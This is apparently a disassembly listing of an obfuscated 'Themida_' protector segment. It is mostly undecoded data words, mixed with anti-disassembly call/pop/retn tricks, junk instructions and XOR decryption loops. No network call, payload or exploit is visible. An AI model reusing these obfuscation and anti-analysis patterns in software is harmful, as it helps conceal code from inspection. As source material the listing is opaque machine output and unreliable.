		dd 51006A07h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1404h
		dd 0C3514100h, 8E86093h, 30000000h, 0A4F8D291h,	8B089A73h
		dd 0FA345D9Dh, 89605907h, 0FA2F699Dh, 61F78B07h, 96858961h
		dd 6607FDEBh, 0E9BF93BFh, 230h,	0FF8002BBh, 8E858B0Ch
		dd 8B07FDEBh, 0FA2639BDh, 1800C707h, 6A000000h,	3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 15042444h, 43000000h
		dd 7F6EC353h, 0AEC38166h, 92B58BEEh, 6A07FDEBh,	3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 19042444h, 42000000h
		dd 6ACCC352h, 0EBA4F09Dh, 68F0Fh, 0CB810000h, 1FE0373Eh
		dd 0D51858Bh, 6A07FAh, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 1B0424h, 51410000h, 4640CCC3h, 16528537h, 8589518Ch
		dd 7FA2C21h, 0E806895Bh, 0Fh, 0A5C05FB2h, 0B5E78AC2h, 0F3B24655h
		dd 0F20E33Eh, 8B5BDBBFh, 0FA0FE985h, 57006A07h,	3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1D04h,	0C3574700h, 2278A2CCh
		dd 9DEE71Dh, 0C381FE4Bh, 47A6621Dh, 6A044689h, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 1A042444h, 43000000h
		dd 77AC353h, 0AA0AF49Ah, 0DE8A3h, 7B7A0000h, 6BEEAF67h
		dd 58BF30F1h, 8B99CF0Dh, 8B0F5BF9h, 0Bh, 0CAB70F60h, 0D459D33h
		dd 506107FAh, 68B0Fh, 840F0000h, 0
; ---------------------------------------------------------------------------
		mov	[esp], esi
		jmp	loc_5CD181
; ---------------------------------------------------------------------------
		dd 59A29F55h, 0EA7D08E6h
		db 0B3h
; ---------------------------------------------------------------------------


loc_5CD181:				; CODE XREF: Themida_:005CD173j
		push	dword ptr [ebp+7FDEB8Eh]
		push	0
		push	esi
		call	sub_5CD192
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5CD192	proc near		; CODE XREF: Themida_:005CD18Ap

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 1Dh
		inc	esi
		push	esi
		retn
sub_5CD192	endp

; ---------------------------------------------------------------------------
		dw 0E0E8h
		dd 829F7580h, 9EA36365h, 0D78B6660h, 33E98531h,	686107FAh
		dd 0E100DFA4h, 81FA8B66h, 245B2404h, 0E9601F1Eh, 0Dh, 33F63807h
		dd 0E3F77EF7h, 9D34BDABh, 6840F6Ah, 1000000h, 0FA02D9BDh
		dd 858D6107h, 7FDEB96h,	0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 18h, 1C35545h, 0B19B4188h,	0E850D88Bh, 9
		dd 0EE3F3407h, 8E36A33Bh, 6E969h, 4EEC0000h, 89B513A8h
		dd 2404895Fh, 0A61ABB66h, 0FFD8BF0Fh, 0FA1CE995h, 55006A07h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1904h, 0C3554500h
		dd 84299219h, 8D89D90Eh, 7FA11B1h, 53006A61h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1704h,	0C3534300h, 0B157CEB4h
		dd 2BD985C7h, 307FAh, 3BBB0000h, 8303D9D1h, 0FDEB96BDh
		dd 840F0007h, 24h, 14E9h, 957B0000h, 8ABDB954h,	6A1CFD28h
		dd 3A10F24Dh, 4D1EA6ACh, 21E9DEh, 9D890000h, 7FA07A1h
		dd 110C3050h, 1114400h,	3010E8C1h, 21144h, 5803114Ch, 7504E983h
		db 0E7h, 0EBh, 36h
; ---------------------------------------------------------------------------


loc_5CD2DB:				; CODE XREF: Themida_:005CCE7Ej
					; Themida_:005CD2F2j
		push	eax
		xor	[ecx+edx], al
		add	[ecx+edx+1], ah
		shr	eax, 10h
		xor	[ecx+edx+2], al
		add	[ecx+edx+3], ah
		pop	eax
		sub	ecx, 4
		jnz	short loc_5CD2DB
		jmp	short loc_5CD311
; ---------------------------------------------------------------------------


loc_5CD2F6:				; CODE XREF: Themida_:005CCE91j
					; Themida_:005CD30Dj
		push	eax
		shr	eax, 10h
		sub	[ecx+edx+3], ah
		xor	[ecx+edx+2], al
		pop	eax
		sub	[ecx+edx+1], ah
		xor	[ecx+edx], al
		sub	ecx, 4
		jnz	short loc_5CD2F6
		jmp	short $+2


loc_5CD311:				; CODE XREF: Themida_:005CD2F4j
		mov	eax, eax
		call	near ptr locret_5CD31F+2
		jb	short near ptr loc_5CD31B+1
		insb


loc_5CD31B:				; CODE XREF: Themida_:005CD318j
		out	77h, eax
		aad	0D1h

locret_5CD31F:				; CODE XREF: Themida_:005CD313p
		db	66h
		retn	8B66h
; ---------------------------------------------------------------------------
		fcomp	dword ptr [edi-77h]
		mov	ch, 59h
		and	edi, edx
		pop	es
		cmp	dword ptr [ebp+7FA2BD9h], 3
		jnz	loc_5CD7BE
		movzx	ebx, ax
		cmp	dword ptr [ebp+7FDEB96h], 0
		jz	loc_5CD7BE
		push	0
		push	ebx
		call	sub_5CD353
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5CD353	proc near		; CODE XREF: Themida_:005CD34Bp

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 19h
		inc	ebx
		push	ebx
		retn
sub_5CD353	endp

; ---------------------------------------------------------------------------
		push	ds
		les	ebx, [ebx]
		mov	[ebx+23h], ah
		mov	ebp, 7FA07C9h
		push	dword ptr [ebp+7FDEB96h]
		mov	[ebp+7FA2AE1h],	edx
		call	dword ptr [ebp+7FA2745h]
		jmp	loc_5CD391
; ---------------------------------------------------------------------------
		dw 0DB85h
		dd 53C55F5Dh, 165A4139h
		db 0C4h
; ---------------------------------------------------------------------------


loc_5CD391:				; CODE XREF: Themida_:005CD381j
		mov	esi, [ebp+7FDEB8Ah]
		mov	edi, [ebp+7FA0AF1h]
		mov	dword ptr [esi], 10001h
		movsx	ebx, dx
		push	eax
		call	near ptr loc_5CD3AF+2
		std
		jz	short loc_5CD423


loc_5CD3AF:				; CODE XREF: Themida_:005CD3A7p
		sub	eax, 108E0F3Fh
; ---------------------------------------------------------------------------
		dd 0E9000000h, 0Bh, 6C7ECAA2h, 0C17B0C43h, 5B152A55h, 6A243489h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 18042444h
		dd 42000000h, 0C5E1C352h, 81F3F5A5h, 0A56076F7h, 96B5FF59h
		dd 6A07FDEBh, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 1B042444h, 45000000h, 9F10C355h, 424665B7h, 0FFF8105Fh
		dd 0FA18E195h
; ---------------------------------------------------------------------------
		pop	es
		push	0


loc_5CD423:				; CODE XREF: Themida_:005CD3ADj
		push	esi
		call	sub_5CD42C
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5CD42C	proc near		; CODE XREF: Themida_:005CD424p

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 15h
		inc	esi
		push	esi
		retn
sub_5CD42C	endp

; ---------------------------------------------------------------------------
		dd 0DE8B135h, 0EE000000h, 1EC9D18Eh, 0B238530Eh, 19DCC8C5h
		dd 6820F5Bh, 8B000000h,	0FA0B61BDh, 8AB58B07h, 8907FDEBh
		dd 0FA2C55B5h, 55BD8907h, 8B07FA0Ah, 0FA1C7D85h, 55006A07h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1404h, 0C3554500h
		dd 799D894Ch, 0F07FA0Ah, 38Fh, 0DFBF0F00h, 0C48689h, 0D7810000h
		dd 6D86F41Ah, 8BC7CB80h, 0FA1CD995h, 56006A07h,	3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1B04h,	0C3564600h, 6BAF6AF6h
		dd 83F32DE0h, 2BEDBD8Bh, 0C28307FAh, 51006A04h,	3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1404h,	0C3514100h, 89FFB3D9h
		dd 6A2050h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1A0424h
		dd 57470000h, 487ADFC3h, 0D6DB2878h, 0FEF7858Dh, 6A07FDh
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1C0424h, 55450000h
		dd 6DB9A4C3h, 39985A8Bh, 0CE85608h, 60000000h, 5107D746h
		dd 860BA856h, 8BCA18A7h, 0FA23C19Dh, 86895B07h,	0B8h, 29A7CB81h
		dd 6A5DBFh, 0E852006Ah,	3, 5AC35A20h, 4245489h,	4244481h
		dd 16h,	89C35242h, 8D89DBC1h, 7FA189Dh,	0BADB8166h, 96B5FFB4h
		dd 6A07FDEBh, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 16042444h, 47000000h, 1CCAC357h, 9595FFC9h, 6607FA1Ch
		dd 0E541E781h, 0D15DBF50h, 34897387h, 799D2924h, 0F807FA1Fh
		dd 0EB96B5FFh, 6A07FDh,	3E855h,	5D200000h, 6C895DC3h, 44810424h
		dd 170424h, 55450000h, 0AD790CC3h, 9E9A4h, 973C0000h, 0DBB3EC84h
		dd 0FF382373h, 0FA1D9595h, 8392B707h, 0FA0131BDh, 840F0007h
		dd 65h,	0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 14h
		dd 6EC35040h, 0D88B66F8h, 5820F50h, 0BF000000h,	6CA37AC8h
		dd 6A243489h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 19042444h, 47000000h, 3B62C357h, 13A3C627h, 10E9h, 0CF194400h
		dd 99EDC475h, 8C0459B0h, 9A277F14h, 96B5FF94h, 6A07FDEBh
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 1D042444h
		dd 43000000h, 7BCC353h,	0B9E1A83Ch, 65C31480h, 0BE9h, 8C937B00h
		dd 24CE0375h, 0A427B90Eh, 1CB595FFh, 896007FAh,	0FA31218Dh
		dd 0D38B6607h, 96B5FF61h, 8907FDEBh, 0FA31BD85h, 0AD95FF07h
		dd 6A07FA21h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 16042444h, 42000000h, 3A49C352h, 0B5BD03BBh,	0F07FA29h
		dd 68Fh, 69E78100h, 830D864Ah, 0FA2221BDh, 840F0207h, 67h
		dd 2315BD8Bh, 858B07FAh, 7FA1615h, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 1Ch, 67C35747h, 0CF96D910h, 2BF9AA8h
		dd 38C0Fh, 8B660000h, 0D5C3BFD8h, 0C60D23h, 52006A00h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1B04h, 0C3524200h
		dd 59BC8DBCh, 997174A8h, 0C7FEBF0Fh, 0FA16DD85h, 7, 51006A00h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1B04h, 0C3514100h
		dd 6DCDFC0h, 9A99E8Ch, 371FDB81h
		db 0F3h, 1Eh
; ---------------------------------------------------------------------------


loc_5CD7BE:				; CODE XREF: Themida_:005CD332j
					; Themida_:005CD342j
		jmp	near ptr dword_5CCACC+32h
; ---------------------------------------------------------------------------
		or	edi, 448CFB80h
		mov	eax, ecx
		push	0
		push	eax
		call	sub_5CD7D6
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5CD7D6	proc near		; CODE XREF: Themida_:005CD7CEp

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 17h
		inc	eax
		push	eax
		retn
sub_5CD7D6	endp

; ---------------------------------------------------------------------------
		dw 0D3E9h
; ---------------------------------------------------------------------------
		rcl	byte ptr [edx],	cl
		or	ebx, [ebp+7FA24B1h]
		lea	eax, [ebp+7FA0199h]
		or	[ebp+7FA2DBDh],	esi
		push	eax
		mov	ebx, ecx
		mov	[esp], eax
		push	0
		push	eax
		call	sub_5CD80D
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5CD80D	proc near		; CODE XREF: Themida_:005CD805p

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 1Ah
		inc	eax
		push	eax
		retn
sub_5CD80D	endp

; ---------------------------------------------------------------------------
		inc	dword ptr [ebp+edi*8+0]
		pop	ecx
		xor	al, 99h
		push	0
		jmp	loc_5CD830
; ---------------------------------------------------------------------------
		db 8Bh
		dd 79F9810Fh
; ---------------------------------------------------------------------------


loc_5CD830:				; CODE XREF: Themida_:005CD826j
		push	0
		push	0
		push	edx
		call	sub_5CD83D
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5CD83D	proc near		; CODE XREF: Themida_:005CD835p

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 1Ch
		inc	edx
		push	edx
		retn
sub_5CD83D	endp

; ---------------------------------------------------------------------------
		sbb	dword ptr [edx-2Ah], 0DD795C72h
		jbe	short near ptr loc_5CD88C+2
		push	esi
		mov	bl, 0ABh
		pop	edi
		lea	eax, [ebp+7FEA5D5h]
		push	0
		push	edi
		call	sub_5CD86B
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5CD86B	proc near		; CODE XREF: Themida_:005CD863p

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 18h
		inc	edi
		push	edi
		retn
sub_5CD86B	endp

; ---------------------------------------------------------------------------
		db 89h,	0FFh
		db 13h,	0A2h, 85h
; ---------------------------------------------------------------------------
		mov	edi, 44AA19ADh
		cmc
		add	eax, 5
		push	0
		push	edi


loc_5CD88C:				; CODE XREF: Themida_:005CD854j
		call	sub_5CD894
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5CD894	proc near		; CODE XREF: Themida_:loc_5CD88Cp

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 19h
		inc	edi
		push	edi
		retn
sub_5CD894	endp

; ---------------------------------------------------------------------------
		dd 3967F5B1h, 880F64ADh, 6, 2B5DBD8Bh, 0E89007FAh, 9, 0CED81118h
		dd 66F3FAF3h, 90505F4Ch, 8890Fh, 0F520000h, 80h, 6A5B00h
		dd 7E852h, 0FBAA0000h, 0BE2C33E5h, 0EB8166B5h, 5F5B6DC5h
		dd 11059D31h, 6A07FAh, 2D99D89h, 95FF07FAh, 7FA2BE9h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 16h, 45C35242h, 0BD89652Ah
		dd 7FA2EEDh, 0D7118D8Dh, 6A07FDh, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 1D0424h, 50400000h, 5166AEC3h, 84BF0C27h
		dd 0FF37CE54h, 0D9BD8BD1h, 8307FA26h, 0FA33EDBDh, 850F0107h
		dd 0B2h, 0E852006Ah, 3,	5AC35A20h, 4245489h, 4244481h
		dd 15h,	0E0C35242h, 81D98B0Dh, 6C2999F3h, 6A026A0Ch, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 1B042444h, 40000000h
		dd 7827C350h, 84EBD571h, 0CE9A5F0h, 0A9000000h,	0C5D82E70h
		dd 0C0D07E66h, 0F056FECh, 148Dh, 0FE900h, 37E80000h, 4B3C98E7h
		dd 67209FE3h, 0E45AFFFAh, 8A0F50ACh, 5,	408D89BBh, 24048971h
		dd 1C9595FFh, 6A07FAh, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 1A0424h, 52420000h, 0A93595C3h, 8F4D8916h, 3455BD23h
		dd 0F9E907FAh, 0E800000Dh, 0
; ---------------------------------------------------------------------------
		pop	ebp
		sub	ebp, 7FEA5DFh
		pusha
		movzx	ecx, ax
		mov	[ebp+7FA105Dh],	edx
		popa
		mov	bh, dh
		lea	eax, [ebp+7FDB959h]
		push	0
		push	ebx
		call	sub_5CDA45
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5CDA45	proc near		; CODE XREF: Themida_:005CDA3Dp

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 17h
		inc	ebx
		push	ebx
		retn
sub_5CDA45	endp

; ---------------------------------------------------------------------------
		db 0D7h, 22h, 0D2h
		dd 10E9506Bh, 69000000h, 0CCDC2D2Bh, 23B35497h,	4349AFF8h
		dd 89F963DBh, 6A2404h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 1B0424h, 53430000h, 8F4134C3h, 27D83014h, 0FF64FC5Dh
		dd 35h,	870F00h, 64000000h, 2589h, 0B5290000h, 7FA1F69h
		dd 104985FFh, 8B6007FAh, 0FA0CC9BDh, 0FF6A6107h, 8B0Fh
		dd 0B5FF0000h, 7FA167Dh, 0A820Fh, 8F0F0000h, 4,	611DBF66h
		dd 287595FFh, 0F8E907FAh, 0F000000h, 0B0F9BFh, 70E6FE8Bh
		dd 34D59D23h, 71E407FAh, 15A18D89h, 613C07FAh, 0D9830Fh
		dd 8A0F0000h, 0Dh, 5D958960h, 0B807FA2Ah, 162E6BE8h, 0C8B60F61h
		dd 0AE8h, 94F82200h, 0FC8C4CF5h, 0E8CAA931h, 5,	0A4109C62h
		dd 0BA5F5B0Bh, 6, 20D18D89h, 0C18B07FAh, 14CB8166h, 4E8C1EEh
		dd 8BEB8166h, 0E2F7663Eh, 0C82BB5B3h, 5E9D18Bh,	19000000h
		dd 0BEA01E23h, 1E9h, 858BF900h,	7FA108Dh, 0B3D9589h, 0D88B07FAh
		dd 0F907C083h, 6600C083h, 3BF882BBh, 16830FD0h,	0FC000000h
		dd 5E9h, 0B2733C00h, 44E963BEh,	89000000h, 0FA235DBDh
		dd 198D8B07h, 8107FA26h, 627DBBDFh, 1E18355h, 29840Fh
		dd 0BD030000h, 7FA2BE5h, 1599D8Bh, 0A58307FAh, 7FA2619h
		dd 0FBE780FEh, 108D9589h, 8A0F07FAh, 2,	0E986B7h, 8D000000h
		dd 0FE2EF4B5h, 8B006A07h, 1995FFD8h, 0E907FA10h, 0Dh, 0C1C1F46h
		dd 0C4705FE2h, 477F74FEh, 87BB92Eh, 6A0000h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 1D0424h, 57470000h, 6313EEC3h
		dd 96D64631h, 8363807Eh, 6AFCE1h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 160424h, 56460000h, 83BB8FC3h, 0FE9h, 0E9958E00h
		dd 8F21432Fh, 0AE1E69F4h, 9EAB6E4Dh, 719BF7BFh,	0BD8BFC29h
		dd 7FA1089h, 0B8h, 66FE8B00h, 0D22BFA8Bh, 0E851006Ah, 3
		dd 59C35920h, 4244C89h,	4244481h, 1Dh, 0E9C35141h, 901ED3D5h
		dd 70F916D9h, 7E85Eh, 60C60000h, 680066EFh, 0F59D8B2Ah
		dd 5F07FA2Bh, 0D1C233ADh, 83D003E8h, 0F47504E9h, 0BF0FFB8Bh
		dd 318589FFh, 0D07FA1Fh, 88h, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 18h, 0D3C35242h,	901BA061h, 7E9h
		dd 0E9364400h, 1DC4A54Ah, 1CD9958Bh, 9E807FAh, 7A000000h
		dd 6D60143Fh, 0B94136CCh, 10E9h, 39B75300h, 48A7B6DDh
		dd 868D2E1Fh, 0D2D3E941h, 8D8B5B12h, 7FA31ADh, 8859D8Bh
		dd 8B5007FAh, 3188BC2h,	8B188BC1h, 3E8D1C1h, 58188BC2h
		dd 0F99BD89h, 0BF0F07FAh, 50006AF8h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1404h,	0C3504000h, 12E9F2h, 0B67F0000h
		dd 0E7DC0E11h, 7FFC3227h, 0EFE5DF1Fh, 474479D5h, 2A29BD83h
		dd 0F0007FAh, 0CA84h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1B04h, 0C3554500h, 0DC6C1144h, 87C0711Dh
		dd 2B2DBD8Bh, 0B807FAh,	6A000000h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 18042444h, 46000000h, 0AF6CC356h
		dd 0F42239Dh, 68Eh, 55BD0100h, 0E907FA2Eh, 0Bh,	5F011FE1h
		dd 80C8B959h, 8DC5204Dh, 0FA4F668Dh, 57006A07h,	3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1504h,	0C3574700h, 9D8B46E8h
		dd 7FA0B7Dh, 7E9h, 31FECB00h, 0BB24419Bh, 6AE1FFh, 3E857h
		dd 5F200000h, 7C895FC3h, 44810424h, 1B0424h, 57470000h
		dd 23A8BEC3h, 0B8C2131Fh, 898589DDh, 8307FA00h,	0FA2BD9BDh
		dd 840F0007h, 483h, 0E851006Ah,	3, 59C35920h, 4244C89h
		dd 4244481h, 1Dh, 0A1C35141h, 0FECFBC3Bh, 16C14A6Dh, 458D89B1h
		dd 8307FA21h, 0FA2BD9BDh, 840F0107h, 466h, 28319D33h, 0BD8307FAh
		dd 7FA2BD9h, 1D860F03h,	6A000004h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 17042444h, 42000000h, 9E60C352h
		dd 5E9A2D5h, 17000000h,	30F0C91Bh, 10E960h, 0CD640000h
		dd 660A08EDh, 70F80EB5h, 3F4D3947h, 8C666041h, 11E9D9h
		dd 0DEE40000h, 0A395E868h, 0C80006E8h, 67A03D31h, 803C007Ah
		dd 0BF0F04E1h, 618589F9h, 0A07FA14h, 15840FC9h,	0E9000001h
		dd 9, 84D9BE68h, 27E18E3Eh, 0E9858BDCh,	8B07FA0Fh, 0FA32C19Dh
		dd 0E1853307h, 6607FA15h, 10BC381h, 50DF8B90h, 0D59BB66h
		dd 50006A90h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1D04h
		dd 0C3504000h, 48896B86h, 2CB2621h, 0BD8B900Bh,	7FA0FD1h
		dd 9D29006Ah, 7FA02E1h,	152C8268h, 8B52502Ch, 5A310FDFh
		dd 24348158h, 2C0A2F7Dh, 0E851006Ah, 3,	59C35920h, 4244C89h
		dd 4244481h, 15h, 0B9C35141h, 0BF66F51Ch, 9ABB5836h, 0FF1D5286h
		dd 0FA1CE995h, 53006A07h, 3E8h,	0C35B2000h, 245C895Bh
		dd 24448104h, 1404h, 0C3534300h, 6800F77h, 8B000000h, 0FA0A719Dh
		dd 96858907h, 6A07FDEBh, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 1D042444h, 41000000h, 0A62DC351h,	0FCC9CF3Dh
		dd 37AB0DDCh, 6E8h, 9BE1BA00h, 0F69F911h, 68Bh,	0C19D8B00h
		dd 5B07FA24h, 217E9h, 0DA8B6600h, 0EB8E858Bh, 6A07FDh
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1D0424h, 52420000h
		dd 0BECEBDC3h, 5C09E9E7h, 891990DEh, 0FA15B18Dh, 1800C707h
		dd 0F9000000h, 0EB92B58Bh, 0B70F07FDh, 659589DFh, 8B07FA31h
		dd 0FA0D5185h, 6A068907h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 17042444h, 40000000h, 48F0C350h, 160AC4Eh
		dd 0FA29158Dh, 0BD8B6107h, 7FA08D1h, 0FE9858Bh,	0CE907FAh
		dd 22000000h, 911F71C2h, 3A705567h, 8939F28Ch, 0E8BF0446h
		dd 962A38D2h, 30BF6650h, 8B669696h, 7D9D8BDEh, 0FF07FA27h
		dd 0FDEB8EB5h, 52006A07h, 3E8h,	0C35A2000h, 2454895Ah
		dd 24448104h, 1C04h, 0C3524200h, 0B100E5F6h, 0DAE44856h
		dd 9D33F94Ah, 7FA3189h,	4E8h, 1F03FF00h, 13E800h, 0A9E70000h
		dd 572C3A90h, 3CC39D0Fh, 2C298AC4h, 5E46696Ch, 36BF6684h
		dd 0E8505F62h, 12h, 0C764F59Ch,	701A386Bh, 6FC8BE49h, 0A011B041h
		dd 12E8A1EBh, 74000000h, 547E02C4h, 371B55C8h, 0C470DC0h
		dd 8BC87A5Fh, 10E837h, 39440000h, 6D9AC61Ch, 0E04732Eh
		dd 0E799BA59h, 5B5F251Ah, 24448B5Bh, 8B30B704h,	3850F00h
		dd 66000000h, 4489F88Bh, 5F520424h, 50006A58h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1904h,	0C3504000h, 34AE87C0h
		dd 9D8B85B4h, 7FA2B79h,	0EB96858Dh, 6A07FDh, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 1D0424h, 51410000h, 849AF7C3h
		dd 0BC8188C1h, 5276A44Dh, 23F5BD8Bh, 905B07FAh,	9097B350h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 14h, 0DC35747h
		dd 0CA58D89h, 858907FAh, 7FA2389h, 1CE995FFh, 6A07FAh
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 170424h, 56460000h
		dd 51CE46C3h, 8166515Fh, 5B1F41E7h, 52006A61h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1A04h
		dd 0C3524200h, 704FECA0h, 0C724EA54h, 0FA2BD985h, 307h
		dd 0BD83F900h, 7FDEB96h, 4D840F00h, 6A000000h, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 1D042444h, 42000000h
		dd 0B7E9C352h, 4B271FFh, 3C56CD6Fh, 3EE9h, 56006A00h, 3E8h
		dd 0C35E2000h, 2474895Eh, 24448104h, 1B04h, 0C3564600h
		dd 1E4BE969h, 8E93BD98h, 110C3050h, 1114400h, 3010E8C1h
		dd 21144h, 5803114Ch, 7504E983h, 5036EBE7h, 110430h, 0C1011164h
		dd 443010E8h, 64000211h, 83580311h, 0E77504E9h,	0C1501BEBh
		dd 642810E8h, 44300311h, 28580211h, 30011164h, 0E9831104h
		dd 0EBE77504h, 0FC08B00h, 38Ch,	0FFB70F00h, 66D9D8Bh, 0BE907FAh
		dd 74000000h, 3D422C97h, 2A5613F3h, 0BD839D28h,	7FA2BD9h
		dd 0A4850F03h, 6A000004h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 19042444h, 45000000h, 88B9C355h, 46BB64E9h
		dd 0EB96BD83h, 0F0007FDh, 47684h, 55006A00h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1904h,	0C3554500h, 2EF6FD4Ah
		dd 820FAC86h, 6, 26659D8Bh, 0BD0307FAh,	7FA0FC5h, 1F619D8Bh
		dd 0B5FF07FAh, 7FDEB96h, 0E856006Ah, 3,	5EC35E20h, 4247489h
		dd 4244481h, 14h, 0B1C35646h, 8218529h,	95FF07FAh, 7FA2745h
		dd 0B44CBB66h, 0EB8AB58Bh, 6A07FDh, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 170424h, 55450000h, 1979E0C3h
		dd 106C7EAh, 6A000100h,	3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 1B042444h, 47000000h, 63D5C357h, 76FF8613h
		dd 14E97EEAh, 0DA000000h, 8C6B9B33h, 0BDDB25CDh, 0EE46F9E4h
		dd 0A25EBC9Ch, 96BB5662h, 61F08B60h, 0F88B6650h, 96B5FF96h
		dd 6A07FDEBh, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 1C042444h, 47000000h, 0BA9DC357h, 0E8FD9CE5h, 0F5E0AD0h
		dd 0C81h, 68C0F00h, 9000000h, 0FA0F6195h, 0E18D8907h, 0FF07FA10h
		dd 0FA18E195h, 51006A07h, 3E8h,	0C3592000h, 244C8959h
		dd 24448104h, 1804h, 0C3514100h, 469EF312h, 118E0FF5h
		dd 0E8000000h, 5, 1028E7C7h, 31B58930h,	5F07FA28h, 12E8h
		dd 0ADCB7700h, 0D37DB32Eh, 4332AC66h, 0CD26CBBAh, 5BA3F827h
		dd 0EB8AB58Bh, 6A07FDh,	3E850h,	58200000h, 448958C3h, 44810424h
		dd 170424h, 50400000h, 2C83F4C3h, 0EB81666Eh, 858B770Ah
		dd 7FA1C7Dh, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 1Bh,	7BC35646h, 0C95CA2C8h, 0E96906B3h, 7, 5FEAB1ECh
		dd 0FD88C08h, 8689FBBFh, 0C4h, 5E27E381h, 8BF92BDBh, 0FA1CD995h
		dd 65BD3107h, 8307FA1Ch, 6A04C2h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 150424h, 55450000h, 0F2C3BC3h, 688h, 81858900h
		dd 8B07FA08h, 0FA23059Dh, 20508907h, 0FEF7858Dh, 5E807FDh
		dd 6C000000h, 0AF1EB8FDh, 8C18589h, 895B07FAh, 0B886h
		dd 68F0F00h, 9000000h, 0FA1DF9B5h, 6A006A07h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 18042444h, 46000000h
		dd 653CC356h, 6694657Dh, 0A544CB81h, 1C29B589h,	0B5FF07FAh
		dd 7FDEB96h, 2FA9BD8Bh,	95FF07FAh, 7FA1C95h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Dh, 3FC35545h, 0E3230C8Bh
		dd 576EE177h, 9D8BF8D1h, 7FA2059h, 3CB8166h, 0BE99675h
		dd 60000000h, 0D6403CDFh, 2F53D318h, 0F50FD8Dh,	1386h
		dd 8E800h, 6EFC0000h, 0BE7F5584h, 89BB48A6h, 5B17F3C5h
		dd 52006A96h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1604h
		dd 0C3524200h, 81623B7Fh, 462DCEE3h, 96B5FF71h,	6A07FDEBh
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 1B042444h
